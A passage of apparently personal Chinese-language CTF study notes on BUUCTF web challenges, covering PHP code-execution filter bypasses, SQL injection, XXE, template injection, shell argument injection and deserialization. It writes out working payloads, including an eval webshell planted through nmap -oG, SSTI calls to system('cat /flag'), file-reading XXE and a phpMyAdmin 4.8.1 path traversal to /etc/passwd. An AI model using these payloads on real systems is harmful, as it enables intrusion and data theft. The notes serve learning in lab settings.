        }
        eval('echo '.$str.';');#eval,危险.(很贴心地给了分号?不用加了
}
?>

试了试输入只能输数字和其他一些字符。。。

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
   (1) 空白字符
    空白字符包括空格()、制表符(\t)、换行符(\n)、回车符(\r)等。
   (2)标点符号和特殊符号
    像常见的标点符号(如逗号 ,、句号 .、问号 ?、感叹号 ! 等)以及其他特殊符号(如 @、#、$、%、^、&、*、(、)、-、+、=、[、]、{、}、|、\、/ 等)都会被转换。
   (3)控制字符
例如 ASCII 码值在 0 - 31 之间的字符(如空字符 \0、换页符 \f 等)也会被转换。

所以用空白字符可以偷梁换柱,绕过waf(%20num)却还是传一样的参数(num)。。。好阴险(

试了试?%20num=1;phpinfo()可,但其他空白符就没那么幸运了(

用system发现不行(啊?

好好好

“ /被ban了(

说来也巧,刚在必做的rce中碰到var_dump(scandir(chr(47)));读取根目录(黑幕

var_dump()函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。

为啥这里头不用加双引号?

chr(47)` 本身就会返回一个字符串 `"/"

char还有这妙用(

?%20num=1;var_dump(scandir(chr(47)))
 
string(5) "f1agg"

通过 . 运算符把这些由 chr() 函数生成的字符连接起来

想绕过\必须用chr(),->”/flagg”,cat啥的用不了了,得用个带括号的

掏出小本本(

file_get_contents、highlight_file() ,show_source()

?%20num=1;var_dump(show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

是在/flagg下,第一次忘加chr(47)了


[极客大挑战 2019]Http

看见蓝色氛围

href="Secret.php">

It doesn't come from 'https://Sycsecret.buuoj.cn'

网站管理员可以通过分析 Referer 字段来了解用户是从哪些外部网站或者页面进入到自己网站的。该字段记录了当前请求是从哪个页面链接过来的,也就是请求的来源页面的 URL。

好吧,加上(

Please use "Syclover" browser

User-Agent 是客户端(如浏览器、移动应用等)在向服务器发送 HTTP 请求时,附带在请求头中的一个字符串,用于标识客户端软件的类型、版本以及运行环境等信息。

好吧,再加上(

No!!! you can only read this locally!!!

(流汗黄豆

X-Forwarded-For在使用代理服务器的场景下,该字段用于记录客户端的真实 IP 地址。


[极客大挑战 2019]EasySQL1

dfb8a353c0093c82c669db8e48864047.png
单引号围的
37dcb4e8076a072d3478e3ee63d26e0d.png
SQL的语法格式规定–和后面的注释内容必须间隔一个空格
在SQL注入中,“–+”可用于注释是因为在SQL语法里,“– ”(后面有空格)是标准的单行注释起始标识,“+”在这里可能是为了绕过某些过滤机制。当数据库执行SQL语句时,遇到“– ”就会忽略后面的内容,攻击者利用这个特性,通过构造包含“–+”的恶意语句,使后面的查询逻辑被注释掉,从而达到改变查询原意、获取非法数据等目的。
所以一定要有空格啊(


[强网杯 2019]随便注1

0a223de355e17decc72863de26a72b52.png
5a777138a26db07c378cadba24a77570.png
215b05e5165b0a292062e36954c398b1.png
236c845da78aa517ba031f0b2b554f48.png
98d0595f1c0374397a3d1370b7306369.png
2f6ceaccb29373f6fdf89f7a6b651bdb.png
5dbad5fe33b7be4a387406654588dc4a.png
https://www.mysqlzh.com/doc/126/253.html

1';
handler `1919810931114514` open;
handler `1919810931114514` read first;#

这道题我好像被剧透了(,本来想打开小本本翻一翻堆叠(因为我越看越熟悉,好像要用这个),结果发现堆叠就是从这道题抄的(
2ee162ea82c68b0b28b3ac8f6996d071.png

1';handler `1919810931114514` open as`ddl`;
handler `ddl` read next;--
一样

[极客大挑战 2019]HardSQL1

先放个字典
https://www.cnblogs.com/CVE-Lemon/p/16187971.html
afdd780a3c26cc0291a0ff2edfbf27c5.png
/**/,%20,=都被过滤了,但like没被过滤换=;and也被搞了,用or(burp可见,反正过滤了一堆,就不放图了
75d480ea766c77feff663a8247a6ac96.png
limit没被过滤,说明是空格被过滤了
30e79d19bae056941cd635f627db1854.png
查一个新的
1c7660abc9397a5f09c54c68feadd623.png
%A0不可
0ef86a801db09c991dc813e96465423a.png
dd6be0eecab7f9fbb43422f88041b2e7.png
()可,尝试了下可为1'or(1)like(1)#,万能密码成功后发现只有这个,用报错注入
15b57d9a0152f4a97cf94568454d8e96.png
我用我的那个报错注入的方法发现一直不对,然后发现是rand被过滤了。好好好,三种方法选了一种就正好被过滤了
467fa8d31cd839e3b1d0cc4f10819f9e.png
那就换个
[https://www.cnblogs.com/csyxf/p/10241456.html](https://)extractvalue无事,遂用
91bf424956abef30cb47ef6c4db7022f.png
这里我发现直接用hackbar传不对,然后在登录界面重新尝试了一下,并观察上方网址,发现需要用URL编码后再execute
(可能是因为过滤的太多了吧,太屑了
1'or(extractvalue(0x7e,concat(0x7e,(select(database())))))#
3fa376449c53c54edcb9227885473a8a.png
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#
894a4b1c6d1a51c1fd51954ac75dde7d.png
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
77d4fac4a64b308ec7f3098ee092cf1e.png
1'or(extractvalue(0x7e,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))#
85556fa19c74c093ea33a47a536d314e.png
然后发现substr被过滤了(悲
ab4c261fdcca91d8108362ae777a8491.png
遂再找(
https://www.wanfa688.com/html/Products/478771.html
试了一下left和right都挺安全的
3f3cf8afbbb43a3fa4b255b6a7080e0f.png
1'or(extractvalue(0x7e,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),31))))#
398dde33f15ac6556d2337bf694af22f.png
拼一下
flag{589e7b10-f37f-4255-84d3-a323ae257d5b}


话说sqlmap能不能再多出一些脚本什么的,不够用哇
等我复习完cpp一定高产似那啥咕咕咕咕

第二页

[RoarCTF 2019]Easy Java

2aa097d60db4614df1889feb73c9e37a.png
Are you sure the flag is here? ? ?
=>需用post

java+WEB-INF是java的WEB应用的安全目录
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

/WEB-INF/web.xml+post=>com.wm.ctf.FlagController
d8258a6166b96cdf02779b7bf957ed0f.png
servlet class+加上classes来访问来访问class文件目录,且文件后缀为.class
Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

ZmxhZ3tkNjMxYzVlYi1iOTJmLTQ0MTYtODVkOC1kMDE5Y2NkZmQ5YWZ9Cg==
flag{d631c5eb-b92f-4416-85d8-d019ccdfd9af}

[网鼎杯 2018]Fakebook

扫:/robots.txt,下user.php.bak;flag.php

function get($url)
  {
      $ch = curl_init();

      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      $output = curl_exec($ch);
      $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
      if($httpCode == 404) {
          return 404;
      }
      curl_close($ch);#curl ssrf

      return $output;
  }

注册一个,在no后sql注入,过滤了一些。

?no=1 order by 4有4列
?no=-1 union/**/select database(),database(),database(),database()#,2处有个fakebook
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# users
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#  no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS  
?no=-1 union/**/select 1,group_concat(data),3,4 from fakebook.users#
O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:40:"https://github.com/lingqing777/watchlist";},O:8:"UserInfo":3:{s:4:"name";s:4:"qing";s:3:"age";i:18;s:4:"blog";s:40:"https://github.com/lingqing777/watchlist";}
//对ba起我注册了两遍(

blog用反序列化
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:40:"https://github.com/lingqing777/watchlist";}'
9e1ee8b50ef827975e8b9efb8eebd3c7.png
看了一下,是源码
很多方法都不行去flag.php
be4161b71b3e861bd50da4cc32df4f2b.png
看来在web目录下,file://访问本地文件系统
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3swYzg1MWNmNS0zZGU3LTQ4ZDItYTA5Yi02OWQxZDY2ZWRiODN9IjsNCmV4aXQoMCk7DQo=
flag{0c851cf5-3de7-48d2-a09b-69d1d66edb83}


load_file()函数可以利用绝对路径去加载一个文件
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
f57ca8e4259259d03fb661b7dc8a8566.png


[BSidesCF 2020]Had a bad day

扫出flag.php
5b963d116ac7f02965c9aced93849dee.png
这张很有王霸之气
?category=php://filter/read.convert.base64-encode/resource=index.php
Failed opening ‘php://filter/read.convert.base64-encode/resource=index.php.php
?category=php://filter/read.convert.base64-encode/resource=index
?category=php://filter/read.convert.base64-encode/resource=flag不行
看了github发现原来可以酱
?category=php://filter/convert.base64-encode/write=woofers/resource=flag


[网鼎杯 2020 朱雀组]phpweb

能不能少放些可怕的图真的很吓人。。。

func=date&p=Y-m-d+h%3Ai%3As+a
date() 函数p 应该是 date() 函数所需的格式参数。
%3A 是 URL 编码后的冒号 :,所以 h%3Ai%3As 实际就是 h:i:s。

  • 在 URL 里通常表示空格,这里可当作空格看待。(ai

function 'base64' not found or invalid function name in
那就再找找,试了试serialize行,system被过滤了。

file_get_contents、highlight_file() ,show_source()

87bd2fdb103c30c69844228612a6f76d.png
func=highlight_file&p=index.php

?php

class Test{
    public $p = "ls /";
    public $func = "system";
}
$a = new Test();
echo serialize($a);
public $p = 'find / -name "*flag*"'; 
O:4:"Test":2:{s:1:"p";s:21:"find / -name "*flag*"";s:4:"func";s:6:"system";}
 public $p = 'cat /tmp/flagoefiu4r93';(挺无语的试出来的

或php内的” \ “在做代码执行的时候,会识别特殊字符串,绕过黑名单
func=\system&p=cat /tmp/flagoefiu4r93


[BJDCTF2020]ZJCTF,不过如此

http://02d70d0c-b20c-4763-9f00-ddc3d9ba7b1a.node5.buuoj.cn:81/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php.........I have a dream……
154b514c66b309cfe4aae38adf72a224.png

?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {#动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

http://www.xinyueseo.com/websecurity/158.html
https://www.cnblogs.com/Sentry-fei/p/15476811.html这里有一些本地测试
https://www.runoob.com/php/php-preg_replace.html

\1 代表正则表达式中第一个捕获组所匹配到的内容

var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
#由于替换字符串是简单的 '1',PHP 会尝试将其当作代码执行,但它并不是有效的 PHP 表达式。不过在这种情况下,preg_replace 的行为比较特殊,由于正则表达式匹配到整个字符串,并且替换字符串会被执行,最终的替换结果会出现两次 '1',所以输出为 '11'
var_dump(preg_replace('/(.*)/ie','strtolower("\1")','{${phpinfo()}}'));// 结果:空字符串''
#\1 代表第一个捕获组匹配的内容,也就是整个输入字符串 {${phpinfo()}}。strtolower 函数用于将字符串转换为小写。然而,当 phpinfo() 被执行时,它会输出大量的 PHP 配置信息到标准输出流,并且 strtolower 函数对 phpinfo() 的返回值(实际上 phpinfo() 返回值为 null)进行处理,最终导致整个替换操作的结果变得混乱。由于 phpinfo() 输出了内容,并且在这种执行逻辑下,最终返回给 preg_replace 的结果可能为空字符串,所以最终输出为 ''。
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str);

\\ 会转义为单个 \,所以这里的 \1 代表正则表达式中第一个捕获组所匹配到的内容。

.* 整体的意思是匹配任意数量(包括零个)的任意字符。e 修饰符存在严重的安全隐患。因为它允许执行任意 PHP 代码
${phpinfo()} :不执行
{${phpinfo()}}:执行

  • .:在正则表达式中,点号(.)是一个元字符,它默认匹配除换行符之外的任意单个字符。例如,在字符串 "abc" 中,. 可以匹配 ab 或者 c 中的任意一个字符。
  • \S:这是一个预定义字符类,\S 表示匹配任意非空白字符。空白字符包括空格、制表符、换行符等,非空白字符就是除这些之外的字符,比如字母、数字、标点符号等。
  • \*:这是一个量词,它表示前面的元素可以出现零次或多次。在 \S* 中,意味着非空白字符可以出现零个、一个或者多个连续的非空白字符。
(在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。)

动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str

preg_replace('/('.\S*.')/ei', 'strtolower("\\1")', ${getFlag()});
#'.\S*.' 这个正则表达式整体的含义是匹配以任意一个非换行字符开始,接着是零个或多个非空白字符,最后再以任意一个非换行字符结束的字符串
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${getFlag()});
=>preg_replace('/(.*)/ei', 'strtolower("${getFlag()}")', ${getFlag()});
 =>eval('${getFlag()}')

next.php?\S*=${getFlag()}&cmd=system('cat /flag');


[BUUCTF 2018]Online Tool

?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

[浅谈escapeshellarg逃逸与参数注入 Mi1k7ea ]http://www.mi1k7ea.com/2019/07/04/浅谈escapeshellarg与参数注入/#escapeshellarg

escapeshellarg

主要是为了防止用户的输入逃逸出“参数值”的位置,变成一个“参数选项”。

处理过程:如果输入内容不包含单引号,则直接对输入的字符串添加一对单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,再对剩余部分字符串添加相应对数的单引号括起来。

场景功能:

1.确保用户只传递一个参数给命令

2.用户不能指定更多的参数一个

3.用户不能执行不同的命令

escapeshellcmd

主要是防止用户利用shell的一些技巧(如分号、管道符、反引号等)来进行命令注入攻击。

处理过程:如果输入内容中&#;`|*?~<>^()[]{}$, \x0A 和 \xFF等特殊字符会被反斜杠给转义掉;如果单引号和双引号不是成对出现时,会被转义掉。

场景功能:

1.确保用户只执行一个命令

2.用户可以指定不限数量的参数

3.用户不能执行不同的命令

通过参数注入向参数选项注入谈escapeshellarg绕过与参数注入漏洞 | 离别歌

?php
system(escapeshellcmd("ls --ignore=".escapeshellarg($_GET[c])." /tmp"));
//echo escapeshellcmd("ls --ignore=".escapeshellarg($_GET[c])." /tmp");
?>
//初始输入
alan' -l+

//经过escapeshellarg()处理
'alan'\'' -l+'

//拼接命令
ls --ignore='alan'\'' -l+' /tmp

//经过escapeshellcmd()处理,即上图的输出结果
ls --ignore=\'alan\'\\\'\' -l+ /tmp
ls --ignore='alan'\\'' -l+\' /tmp

//输出结果简化,等同于
ls --ignore=alan\ -l ' /tmp
  • 当用户输入包含单引号时,先用escapeshellarg()处理会给该单引号添加转义符,再用escapeshellcmd()处理时会将该添加的转义符再添加一个转义符,从而导致单引号被逃逸掉,从而造成参数注入漏洞的存在;

  • 如果是先用escapeshellcmd()函数过滤,再用escapeshellarg()函数过滤,则不存在参数注入漏洞;

    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);#(可以加点东西

-oG 参数用于将 nmap 的扫描结果以 Grepable 格式输出到指定的文件中。

nmap -oG <output_file> [其他扫描参数] <目标主机或网络>
  • <output_file>:这是指定的输出文件名,扫描结果会被保存到这个文件中。
  • [其他扫描参数]:可以包含 nmap 的各种扫描选项,例如 -sT(TCP 连接扫描)、-F(快速扫描,只扫描常见的 100 个端口)等。
  • <目标主机或网络>:可以是单个 IP 地址、IP 地址范围或者域名等。
?host=' 《?php @eval($_POST["pass"]);?> -oG pass.php '

122b544d-074b-44b4-8d5d-131449927350.node5.buuoj.cn/e6305cd14dbe6e1fc4041d81cb3fc9ee/pass.php

[BUUCTF 2018 Online Tool | Kid](https://nkcell.github.io/2019/09/10/BUUCTF 2018 Online Tool/)

不知是不是版本的问题,我按上方文章实验escapeshellarg()与escapeshellcmd()却达到不了想要的效果

《?php
$host = "' <?php phpinfo();?> -oG pass.php '";
$host = escapeshellarg($host);
echo $host;
echo "\n";
$host = escapeshellcmd($host);
echo $host;

" <?php phpinfo();?> -oG pass.php "
^" ^<^?php phpinfo^(^)^;^?^> -oG pass.php ^"

有无一样的友友?


[BJDCTF2020]The mystery of ip

嘶~,但我看了看我IP不是这个呀(

X-Forwarded-For: xaxaxa
Your IP is : xaxaxa	

果然不靠谱(

所以不是flask该咋办?

文章 - PHP中的模板注入漏洞刨析 - 先知社区

试了一下不是Twig,是Smarty({$smarty.version}

{system('ls /')} 
{system('cat /flag')} 
flag{7dd4f5f5-a7dd-43f8-b966-4c180f72af17}

[GXYCTF2019]禁止套娃

说实话给我看傻了,咋一堆git(

GitHack启动(python2 GitHack.py http://9211086e-5637-4026-a306-d75d0b458824.node5.buuoj.cn:81/.git/

?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
//[a-z,_]+:
//[ ] 为字符类,用于匹配方括号内指定的任意一个字符。
//a-z 表示匹配所有小写字母。
//,_ 表示匹配逗号 , 或下划线 _。
//+ 是量词,意味着前面的字符类至少出现一次。综合起来,[a-z,_]+ 用于匹配由一个或多个小写字母、逗号或下划线组成的字符串,通常对应函数名。
//\(`**:     - 由于括号在正则表达式中有特殊含义,所以使用反斜杠 `\` 进行转义,这里表示匹配左括号 `(`,用于标识函数调用的起始。`(?R)?`: - `(?R)` 是递归引用语法,它会递归地引用整个正则表达式本身。在这个情境下,用于匹配函数内部可能嵌套的函数调用。     - `?` 是量词,表示前面的元素(即递归引用部分)可以出现 0 次或 1 次,意味着函数调用可以嵌套,也可以不嵌套。  - **`\):
//同样使用反斜杠 \ 对右括号进行转义,用于匹配函数调用结束的右括号 )。
 //(?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。
   // scandir()可以使用里面不含参数
//scandir('1')不可以使用,里面含有参数1,无法被替换删除

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

文章有具体写

在大多数操作系统的文件系统里,点号(.)是一个特殊的路径表示,它代表当前工作目录。scandir() 函数会将其解释为当前工作目录,并对该目录进行扫描。 .表示当前目录本身,.. 表示父目录。

PHP localeconv() 函数 | 菜鸟教程

localeconv():返回一个包含本地数字及货币格式信息的数组,该数组的第一项就是’.’(这也太巧了吧,一般也猜不到)

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容

end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));


or用session_id .使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)

首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现

readfile(session_id(session_start()));

在源代码


[NCTF2019]Fake XML cookbook

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,//这里存在拼写错误,正确的应该是 async: false(哈?)
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

Fake XML cookbook>XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园

好长(😓😰

username这里可

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE xxe [

<!ELEMENT name ANY>

<!ENTITY xxe SYSTEM "file:///flag">]>


<user><username>&xxe;</username><password>xaxaxa</password></user>

flag{601aea4d-8dfc-4651-a212-0271dcf90759}


[GWCTF 2019]我有一个数据库

【首发】phpmyadmin4.8.1后台getshell

这版本号很难不怀疑是先射箭后画靶(

?target=db_sql.php%253f/../../../../../../etc/passwd #发现可
?target=db_sql.php%253f/../../../../../../flag
flag{23e69c98-808e-4a00-9cdb-a5caff9299f6}

[BJDCTF2020]Mark loves cat

说实话,有点炫酷(

又是git

嘶,但是index.php有点损坏,于是从github上拿了

< ?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';
# 遍历通过 POST 方法传递过来的所有参数
foreach($_POST as $x => $y){ # 动态创建或修改变量,将 POST 参数的键作为变量名,值作为变量   
    $$x = $y  ; #x=y=>$x=y
}

foreach($_GET as $x => $y){    
    $$x = $$y; #?x=y=>$x=$y
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){#$flag=$x;$x!='flag'
        exit($handsome);
    }
}
#存在$flag且一个即可
if(!isset($_GET['flag']) && !isset($_POST['flag'])){  
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   
    exit($is);
}

echo "the flag is: ".$flag;

exit($flag) 就是将变量 $flag 的值作为参数传递给 exit

(1) exit($handsome):

$x与$flag值相同但$x不是$flag,即要保证 $_GET['flag'] 的值等于某个除 'flag' 之外的 GET 参数的键名,只要$flag=$num1&$num1=$anything。而且必须有一个是$x=$handsome,$y=flag以覆盖’yds’(?handsome=flag)。

so,?handsome=flag&flag=qing&qing=qihai

(2) exit($yds):

$yds=$flag即可。?yds=flag

(3) exit($is):

?is=flag而且直接$flag=$flag.?is=flag&flag=flag

(4)echo :

get 传参数的时候,如果传入1,默认:做为键:类型是 int; 做为值,类型是 string

$_GET['flag'] === $x : 如果传入 a=flag&flag=anything 那么 判断 a=flag 的时候 $_GET['flag']a, &xa,完全相等 进入if条件, 而如果传入 1=flag&flag=1 那么判断 1=flag的时候 $_GET['flag'](string)1&x(int)1 不完全相等,无法进入if条件,进而绕过。

?1=flag&flag=1


[WUSTCTF2020]朴实无华

这个错误信息 Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4 是 PHP 中一个常见的错误,它表明你在尝试修改 HTTP 响应头时,响应头已经被发送出去了。

在 PHP 里,HTTP 响应头必须在任何实际的输出(像 HTML 内容、空格、换行符等)之前发送。一旦有输出产生,PHP 就会自动把响应头发送给客户端,之后再尝试修改响应头就会触发这个错误。

看着好像robot(

哈哈果然有,赌狗大胜利(

啊啊啊竟然是假的,赌狗大失败

!!!又站起来了

😰什么__图,哈人(尤其是我的还乱码,让我安了个扩展修了一遍)

< img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        #intval 函数用于获取变量的整数值。
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){#需不包含空格
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);#过滤cat
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

哈哈哈哈哈哈我在B站/抖上经常看这up的视频(

intval ( mixed $var [, int $base = 10 ] ) : int
$var:要转换为整数的变量,可以是字符串、浮点数等。
$base:转换所使用的进制,默认为十进制(10)。

intval 函数在处理字符串时,会从字符串开头提取有效的数字部分,直到遇到非数字字符为止。

  1. $num 的值:我们将 $num 赋值为 "2019e10"。在科学计数法中,2019e10 表示 2019 * 10^10
  2. intval($num) 的计算:当对 "2019e10" 调用 intval 函数时,它会从字符串开头提取数字部分,即只取到 "2019",所以 intval($num) 的结果是 2019,满足 intval($num) < 2020
  3. intval($num + 1) 的计算:在 PHP 中,当一个字符串和一个整数进行加法运算时,会先将字符串尝试转换为数字。"2019e10" 会被转换为科学计数法表示的数值,即 2019 * 10^10,然后加 1 后再调用 intval 函数,由于这个数值远远大于 2021,所以 intval($num + 1) > 2021 成立。
  4. 表达式结果:由于两个条件都满足,所以整个表达式 intval($num) < 2020 && intval($num + 1) > 2021 的结果为 true

PHP中MD5和sha1绕过方式总结 - dre0m1 - 博客园

0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

strstr 函数用于查找字符串在另一个字符串中首次出现的位置,并返回从该位置到字符串末尾的部分。如果未找到,则返回 false

str_ireplace(mixed $search, mixed $replace, mixed $subject, int &$count = null): mixed
  • $search:要查找并替换的字符串或数组。
  • $replace:用于替换 $search 的字符串或数组。
  • $subject:要在其中进行替换操作的字符串或数组。
  • $count:可选参数,用于记录替换发生的次数。

ls

吓死了第一眼还以为flag是个图片

?num=2019e10&md5=0e215962017&get_flag=tail$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
flag{792fd7de-6906-4c7c-8fab-a153c66377d3}

一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云

image-20250218130008075

另:{{7*'7'}}在Twig中返回49,在Jinja2中返回77777777

意思是这个BJDCTF考了两遍Twig,what can I say(

xaxaxa

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls /")}}


[MRCTF2020]Ezpop

PHP之十六个魔术方法详解 - The code - SegmentFault 思否网

< ?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//目标
    }
    public function __invoke(){//__invoke方法会在对象被当作函数调用时触发
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";//here
    }
    public function __toString(){//类被当成字符串时的回应方法
        return $this->str->source;//str无source
    }

    public function __wakeup(){//反序列化一个Show实例时,会触发__wakeup方法
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            //在preg_match的时候,会将对象转换为字符串,触发该对象的__toString方法。
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

